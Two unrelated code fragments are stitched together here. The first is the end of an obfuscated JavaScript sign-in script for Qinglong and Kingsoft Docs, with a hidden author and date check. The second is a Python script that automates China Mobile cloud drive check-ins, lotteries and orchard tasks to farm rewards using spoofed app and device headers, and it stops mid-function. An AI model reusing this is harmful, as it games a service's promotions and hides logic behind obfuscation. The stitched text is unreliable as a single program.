_0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i xxx 中xxx值(新版加密抓这个)] +# 环境变量设置: +# - 名称:[ydypCK] 格式:[Authorization值#手机号#token值] +# - 多账号处理方式:[换行或者&分割] +# 定时设置: [0 0 8,16,20 * * *] +# 更新日志: +# - [1.30]: [同一环境变量获取] +# 注: 本脚本仅用于个人学习和交流,请勿用于非法用途。作者不承担由于滥用此脚本所引起的任何责任,请在下载后24小时内删除。 +# new Env("移动云盘") +#TL库:https://github.com/3288588344/toulu.git +#tg频道:https://t.me/TLtoulu +#QQ频道:https://pd.qq.com/s/672fku8ge +#微信机器人:kckl6688 +#公众号:哆啦A梦的藏宝箱 +import os +import random +import re +import time +from os import path + +import requests + +ua = 'Mozilla/5.0 (Linux; Android 11; M2012K10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/90.0.4430.210 Mobile Safari/537.36 MCloudApp/10.0.1' + +err_accounts = '' # 异常账号 +err_message = '' # 错误信息 +user_amount = '' # 用户云朵·数量 +GLOBAL_DEBUG = False + + +# 发送通知 +def load_send(): + cur_path = path.abspath(path.dirname(__file__)) + notify_file = cur_path + "/notify.py" + + if path.exists(notify_file): + try: + from notify import send # 导入模块的send为notify_send + print("加载通知服务成功!") + return send # 返回导入的函数 + except ImportError: + print("加载通知服务失败~") + else: + print("加载通知服务失败~") + + return False # 返回False表示未成功加载通知服务 + + +class YP: + def __init__(self, cookie): + self.notebook_id = None + self.note_token = None + self.note_auth = None + self.click_num = 15 # 定义抽奖次数和摇一摇戳一戳次数 + self.draw = 1 # 抽奖次数,首次免费 + self.session = requests.Session() + + self.timestamp = str(int(round(time.time() * 1000))) + self.cookies = {'sensors_stay_time': self.timestamp} + self.Authorization = cookie.split("#")[0] + self.account = cookie.split("#")[1] + self.auth_token = cookie.split("#")[2] + self.encrypt_account = self.account[:3] + "*" * 4 + self.account[7:] + self.fruit_url = 'https://happy.mail.10086.cn/jsp/cn/garden/' + + self.jwtHeaders = { + 'User-Agent': ua, + 'Accept': '*/*', + 'Host': 'caiyun.feixin.10086.cn:7071', + } + self.treeHeaders = { + 'Host': 'happy.mail.10086.cn', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': ua, + 'Referer': 'https://happy.mail.10086.cn/jsp/cn/garden/wap/index.html?sourceid=1003', + 'Cookie': '', + } + + # 捕获异常 + + def catch_errors(func): + def wrapper(self, *args, **kwargs): + try: + return func(self, *args, **kwargs) + except Exception as e: + global err_message + print("错误:", str(e)) + err_message += f'用户[{self.encrypt_account}]:{e}\n' # 错误信息 + return None + + return wrapper + + @catch_errors + def run(self): + if self.jwt(): + self.signin_status() + self.click() + # 任务 + self.get_tasklist(url = 'sign_in_3', app_type = 'cloud_app') + print(f'\n☁️ 云朵大作战') + self.cloud_game() + print(f'\n🌳 果园任务') + self.fruitLogin() + print(f'\n📰 公众号任务') + self.wxsign() + self.shake() + self.surplus_num() + print(f'\n🔥 热门任务') + self.backup_cloud() + self.open_send() + print(f'\n📧 139邮箱任务') + self.get_tasklist(url = 'newsign_139mail', app_type = 'email_app') + self.receive() + else: + global err_accounts + # 失效账号 + err_accounts += f'{self.encrypt_account}\n' + + @catch_errors + def send_request(self, url, headers=None, cookies=None, data=None, params=None, method='GET', debug=None, + retries=5): + + debug = debug if debug is not None else GLOBAL_DEBUG + + self.session.headers.update(headers or {}) + if cookies: + self.session.cookies.update(cookies) + request_args = {'json': data} if isinstance(data, dict) else {'data': data} + + for attempt in range(retries): + try: + response = self.session.request(method, url, params = params, **request_args) + response.raise_for_status() + if debug: + print(f'\n【{url}】响应数据:\n{response.text}') + return response + except (requests.RequestException, ConnectionError, TimeoutError) as e: + print(f"请求异常: {e}") + if attempt >= retries - 1: + print("达到最大重试次数。") + return None + time.sleep(1) + + # 随机延迟默认1-1.5s + def sleep(self, min_delay=1, max_delay=1.5): + delay = random.uniform(min_delay, max_delay) + time.sleep(delay) + + # 日志 + def log_info(self, err_msg=None, amount=None): + global err_message, user_amount + if err_msg is not None: + err_message += f'用户[{self.encrypt_account}]:{err_msg}\n' # 错误信息 + elif amount is not None: + user_amount += f'用户[{self.encrypt_account}]:{amount}\n' # 云朵数量 + + # 刷新令牌 + def sso(self): + sso_url = 'https://orches.yun.139.com/orchestration/auth-rebuild/token/v1.0/querySpecToken' + sso_headers = { + 'Authorization': self.Authorization, + 'User-Agent': ua, + 'Content-Type': 'application/json', + 'Accept': '*/*', + 'Host': 'orches.yun.139.com' + } + sso_payload = {"account": self.account, "toSourceId": "001005"} + sso_data = self.send_request(sso_url, headers = sso_headers, data = sso_payload, method = 'POST').json() + + if sso_data['success']: + refresh_token = sso_data['data']['token'] + return refresh_token + else: + print(sso_data['message']) + return None + + # jwt + def jwt(self): + # 获取jwttoken + token = self.sso() + if token is not None: + + jwt_url = f"https://caiyun.feixin.10086.cn:7071/portal/auth/tyrzLogin.action?ssoToken={token}" + jwt_data = self.send_request(jwt_url, headers = self.jwtHeaders, method = 'POST').json() + if jwt_data['code'] != 0: + print(jwt_data['msg']) + return False + self.jwtHeaders['jwtToken'] = jwt_data['result']['token'] + self.cookies['jwtToken'] = jwt_data['result']['token'] + return True + else: + print('-ck可能失效了') + return False + + # 签到查询 + @catch_errors + def signin_status(self): + self.sleep() + check_url = 'https://caiyun.feixin.10086.cn/market/signin/page/info?client=app' + check_data = self.send_request(check_url, headers = self.jwtHeaders, cookies = self.cookies).json() + if check_data['msg'] == 'success': + today_sign_in = check_data['result'].get('todaySignIn', False) + + if today_sign_in: + print('✅已签到') + else: + print('❌ 未签到') + signin_url = 'https://caiyun.feixin.10086.cn/market/manager/commonMarketconfig/getByMarketRuleName?marketName=sign_in_3' + signin_data = self.send_request(signin_url, headers = self.jwtHeaders, + cookies = self.cookies).json() + + if signin_data['msg'] == 'success': + print('✅签到成功') + else: + print(signin_data['msg']) + self.log_info(signin_data['msg']) + else: + print(check_data['msg']) + self.log_info(check_data['msg']) + + # 戳一下 + def click(self): + url = "https://caiyun.feixin.10086.cn/market/signin/task/click?key=task&id=319" + successful_click = 0 # 获得次数 + + try: + for _ in range(self.click_num): + return_data = self.send_request(url, headers = self.jwtHeaders, cookies = self.cookies).json() + time.sleep(0.2) + + if 'result' in return_data: + print(f'✅{return_data["result"]}') + successful_click += 1 + + if successful_click == 0: + print(f'❌未获得 x {self.click_num}') + except Exception as e: + print(f'错误信息:{e}') + + # 刷新笔记token + @catch_errors + def refresh_notetoken(self): + note_url = 'http://mnote.caiyun.feixin.10086.cn/noteServer/api/authTokenRefresh.do' + note_payload = { + "authToken": self.auth_token, + "userPhone": self.account + } + note_headers = { + 'X-Tingyun-Id': 'p35OnrDoP8k;c=2;r=1122634489;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C', + 'Charset': 'UTF-8', + 'Connection': 'Keep-Alive', + 'User-Agent': 'mobile', + 'APP_CP': 'android', + 'CP_VERSION': '3.2.0', + 'x-huawei-channelsrc': '10001400', + 'Host': 'mnote.caiyun.feixin.10086.cn', + 'Content-Type': 'application/json; charset=UTF-8', + 'Accept-Encoding': 'gzip' + } + + try: + response = self.send_request(note_url, headers = note_headers, data = note_payload, method = "POST") + response.raise_for_status() + except requests.exceptions.RequestException as e: + print('出错了:', e) + return + + self.note_token = response.headers.get('NOTE_TOKEN') + self.note_auth = response.headers.get('APP_AUTH') + + # 任务列表 + def get_tasklist(self, url, app_type): + url = f'https://caiyun.feixin.10086.cn/market/signin/task/taskList?marketname={url}' + return_data = self.send_request(url, headers = self.jwtHeaders, cookies = self.cookies).json() + self.sleep() + # 任务列表 + task_list = return_data.get('result', {}) + + try: + for task_type, tasks in task_list.items(): + if task_type in ["new", "hidden", "hiddenabc"]: + continue + if app_type == 'cloud_app': + if task_type == "month": + print('\n📆 云盘每月任务') + for month in tasks: + task_id = month.get('id') + if task_id in [110, 113, 417, 409]: + continue + task_name = month.get('name', '') + task_status = month.get('state', '') + + if task_status == 'FINISH': + print(f'-已完成: {task_name}') + continue + print(f'-去完成: {task_name}') + self.do_task(task_id, task_type = 'month', app_type = 'cloud_app') + time.sleep(2) + elif task_type == "day": + print('\n📆 云盘每日任务') + for day in tasks: + task_id = day.get('id') + if task_id == 404: + continue + task_name = day.get('name') + task_status = day.get('state', '') + + if task_status == 'FINISH': + print(f'-已完成: {task_name}') + continue + print(f'-去完成: {task_name}') + self.do_task(task_id, task_type = 'day', app_type = 'cloud_app') + elif app_type == 'email_app': + if task_type == "month": + print('\n📆 139邮箱每月任务') + for month in tasks: + task_id = month.get('id') + task_name = month.get('name', '') + task_status = month.get('state', '') + if task_id in [1004, 1005, 1015, 1020]: + continue + + if task_status == 'FINISH': + print(f'-已完成: {task_name}') + continue + print(f'-去完成: {task_name}') + self.do_task(task_id, task_type = 'month', app_type = 'email_app') + time.sleep(2) + except Exception as e: + print(f'错误信息:{e}') + + # 做任务 + @catch_errors + def do_task(self, task_id, task_type, app_type): + self.sleep() + task_url = f'https://caiyun.feixin.10086.cn/market/signin/task/click?key=task&id={task_id}' + self.send_request(task_url, headers = self.jwtHeaders, cookies = self.cookies) + + if app_type == 'cloud_app': + if task_type == 'day': + if task_id == 106: + print('-开始上传文件,默认0kb') + self.updata_file() + elif task_id == 107: + self.refresh_notetoken() + print('-获取默认笔记id') + note_url = 'http://mnote.caiyun.feixin.10086.cn/noteServer/api/syncNotebookV3.do' + headers = { + 'X-Tingyun-Id': 'p35OnrDoP8k;c=2;r=1122634489;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C', + 'Charset': 'UTF-8', + 'Connection': 'Keep-Alive', + 'User-Agent': 'mobile', + 'APP_CP': 'android', + 'CP_VERSION': '3.2.0', + 'x-huawei-channelsrc': '10001400', + 'APP_NUMBER': self.account, + 'APP_AUTH': self.note_auth, + 'NOTE_TOKEN': self.note_token, + 'Host': 'mnote.caiyun.feixin.10086.cn', + 'Content-Type': 'application/json; charset=UTF-8', + 'Accept': '*/*' + } + payload = { + "addNotebooks": [], + "delNotebooks": [], + "notebookRefs": [], + "updateNotebooks": [] + } + return_data = self.send_request(url = note_url, headers = headers, data = payload, + method = 'POST').json() + if return_data is None: + return print('出错了') + self.notebook_id = return_data['notebooks'][0]['notebookId'] + print('开始创建笔记') + self.create_note(headers) + elif task_type == 'month': + pass + elif app_type == 'email_app': + if task_type == 'month': + pass + + # 上传文件 + @catch_errors + def updata_file(self): + url = 'http://ose.caiyun.feixin.10086.cn/richlifeApp/devapp/IUploadAndDownload' + headers = { + 'x-huawei-uploadSrc': '1', + 'x-ClientOprType': '11', + 'Connection': 'keep-alive', + 'x-NetType': '6', + 'x-DeviceInfo': '6|127.0.0.1|1|10.0.1|Xiaomi|M2012K10C|CB63218727431865A48E691BFFDB49A1|02-00-00-00-00-00|android 11|1080X2272|zh||||032|', + 'x-huawei-channelSrc': '10000023', + 'x-MM-Source': '032', + 'x-SvcType': '1', + 'APP_NUMBER': self.account, + 'Authorization': self.Authorization, + 'X-Tingyun-Id': 'p35OnrDoP8k;c=2;r=1955442920;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C', + 'Host': 'ose.caiyun.feixin.10086.cn', + 'User-Agent': 'okhttp/3.11.0', + 'Content-Type': 'application/xml; charset=UTF-8', + 'Accept': '*/*' + } + payload = ''' + + {phone} + 1 + 1 + + + 0 + + + 1 + + C4CA4238A0B923820DCC509A6F75849B + + 0 + 0 + + + + + + 0 + + 2 + + + + + '''.format(phone = self.account) + + response = requests.post(url = url, headers = headers, data = payload) + if response is None: + return + if response.status_code != 200: + return print('-上传失败') + print('-上传文件成功') + + # 创建笔记 + def create_note(self, headers): + note_id = self.get_note_id(32) # 获取随机笔记id + createtime = str(int(round(time.time() * 1000))) + time.sleep(3) + updatetime = str(int(round(time.time() * 1000))) + note_url = 'http://mnote.caiyun.feixin.10086.cn/noteServer/api/createNote.do' + payload = { + "archived": 0, + "attachmentdir": note_id, + "attachmentdirid": "", + "attachments": [], + "audioInfo": { + "audioDuration": 0, + "audioSize": 0, + "audioStatus": 0 + }, + "contentid": "", + "contents": [{ + "contentid": 0, + "data": "000000", + "noteId": note_id, + "sortOrder": 0, + "type": "RICHTEXT" + }], + "cp": "", + "createtime": createtime, + "description": "android", + "expands": { + "noteType": 0 + }, + "latlng": "", + "location": "", + "noteid": note_id, + "notestatus": 0, + "remindtime": "", + "remindtype": 1, + "revision": "1", + "sharecount": "0", + "sharestatus": "0", + "system": "mobile", + "tags": [{ + "id": self.notebook_id, + "orderIndex": "0", + "text": "默认笔记本" + }], + "title": "00000", + "topmost": "0", + "updatetime": updatetime, + "userphone": self.account, + "version": "1.00", + "visitTime": "" + } + create_note_data = self.send_request(note_url, headers = headers, data = payload, method = "POST") + if create_note_data.status_code == 200: + print('-创建笔记成功') + else: + print('-创建失败') + + # 笔记id + def get_note_id(self, length): + characters = '19f3a063d67e4694ca63a4227ec9a94a19088404f9a28084e3e486b928039a299bf756ebc77aa4f6bfa250308ec6a8be8b63b5271a00350d136d117b8a72f39c5bd15cdfd350cba4271dc797f15412d9f269e666aea5039f5049d00739b320bb9e8585a008b52c1cbd86970cae9476446f3e41871de8d9f6112db94b05e5dc7ea0a942a9daf145ac8e487d3d5cba7cea145680efc64794d43dd15c5062b81e1cda7bf278b9bc4e1b8955846e6bc4b6a61c28f831f81b2270289e5a8a677c3141ddc9868129060c0c3b5ef507fbd46c004f6de346332ef7f05c0094215eae1217ee7c13c8dca6d174cfb49c716dd42903bb4b02d823b5f1ff93c3f88768251b56cc' + note_id = ''.join(random.choice(characters) for _ in range(length)) + return note_id + + # 公众号签到 + @catch_errors + def wxsign(self): + self.sleep() + url = 'https://caiyun.feixin.10086.cn/market/playoffic/followSignInfo?isWx=true' + return_data = self.send_request(url, headers = self.jwtHeaders, cookies = self.cookies).json() + + if return_data['msg'] != 'success': + return print(return_data['msg']) + if not return_data['result'].get('todaySignIn'): + return print('❌签到失败,可能未绑定公众号') + return print('✅签到成功') + + # 摇一摇 + def shake(self): + url = "https://caiyun.feixin.10086.cn:7071/market/shake-server/shake/shakeIt?flag=1" + successful_shakes = 0 # 记录成功摇中的次数 + + try: + for _ in range(self.click_num): + return_data = self.send_request(url = url, cookies = self.cookies, headers = self.jwtHeaders, + method = 'POST').json() + time.sleep(1) + shake_prize_config = return_data["result"].get("shakePrizeconfig") + + if shake_prize_config: + print(f"🎉摇一摇获得: {shake_prize_config['name']}") + successful_shakes += 1 + except Exception as e: + print(f'错误信息: {e}') + if successful_shakes == 0: + print(f'❌未摇中 x {self.click_num}') + + # 查询剩余抽奖次数 + @catch_errors + def surplus_num(self): + self.sleep() + draw_info_url = 'https://caiyun.feixin.10086.cn/market/playoffic/drawInfo' + draw_url = "https://caiyun.feixin.10086.cn/market/playoffic/draw" + + draw_info_data = self.send_request(draw_info_url, headers = self.jwtHeaders).json() + + if draw_info_data.get('msg') == 'success': + remain_num = draw_info_data['result'].get('surplusNumber', 0) + print(f'剩余抽奖次数{remain_num}') + if remain_num > 50 - self.draw: + for _ in range(self.draw): + self.sleep() + draw_data = self.send_request(url = draw_url, headers = self.jwtHeaders).json() + + if draw_data.get("code") == 0: + prize_name = draw_data["result"].get("prizeName", "") + print("✅抽奖成功,获得:" + prize_name) + else: + print("❌抽奖失败") + else: + pass + else: + print(draw_info_data.get('msg')) + self.log_info(draw_info_data.get('msg')) + + # 果园专区 + @catch_errors + def fruitLogin(self): + token = self.sso() + if token is not None: + print("-果园专区token刷新成功") + self.sleep() + login_info_url = f'{self.fruit_url}login/caiyunsso.do?token={token}&account={self.account}&targetSourceId=001208&sourceid=1003&enableShare=1' + headers = { + 'Host': 'happy.mail.10086.cn', + 'Upgrade-Insecure-Requests': '1', + 'User-Agent': ua, + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'Referer': 'https://caiyun.feixin.10086.cn:7071/', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + loginInfoData = requests.request("GET", login_info_url, headers = headers) + treeCookie = loginInfoData.request.headers['Cookie'] + self.treeHeaders['cookie'] = treeCookie + + do_login_url = f'{self.fruit_url}login/userinfo.do' + doLoginData = self.send_request(do_login_url, headers = self.treeHeaders).json() + if doLoginData.get('result', {}).get('islogin') != 1: + return print('❌果园登录失败') + # 去做果园任务 + self.fruitTask() + else: + print("果园专区token刷新失败") + + # 任务查询 + @catch_errors + def fruitTask(self): + # 签到任务 + check_sign_data = self.send_request(f'{self.fruit_url}task/checkinInfo.do', + headers = self.treeHeaders).json() + if check_sign_data.get('success'): + today_checkin = check_sign_data.get('result', {}).get('todayCheckin', 0) + if today_checkin == 1: + print('-果园今日已签到') + else: + checkin_data = self.send_request(f'{self.fruit_url}task/checkin.do', + headers = self.treeHeaders).json() + if checkin_data.get('result', {}).get('code', '') == 1: + print('-果园签到成功') + self.sleep() + water_data = self.send_request(f'{self.fruit_url}user/clickCartoon.do?cartoonType=widget', + headers = self.treeHeaders).json() + color_data = self.send_request(f'{self.fruit_url}user/clickCartoon.do?cartoonType=color', + headers = self.treeHeaders).json() + given_water = water_data.get('result', {}).get('given', 0) + print(f'-领取每日水滴: {given_water}') + print(f'-每日雨滴:{color_data.get("result").get("msg")}') + else: + print('-果园签到查询失败:', check_sign_data.get('msg', '')) + + # 获取任务列表 + task_list_data = self.send_request(f'{self.fruit_url}task/taskList.do?clientType=PE', + headers = self.treeHeaders).json() + task_state_data = self.send_request(f'{self.fruit_url}task/taskState.do', headers = self.treeHeaders).json() + task_state_result = task_state_data.get('result', []) + + task_list = task_list_data.get('result', []) + + for task in task_list: + task_id = task.get('taskId', '') + task_name = task.get('taskName', '') + water_num = task.get('waterNum', 0) + if task_id == 2002 or task_id == 2003: + continue + + task_state = next( + (state.get('taskState', 0) for state in task_state_result if state.get('taskId') == task_id), 0) + + if task_state == 2: + print(f'-已完成: {task_name}') + else: + self.do_fruit_task(task_name, task_id, water_num) + + # 果树信息 + self.tree_info() + + # 做任务 + @catch_errors + def 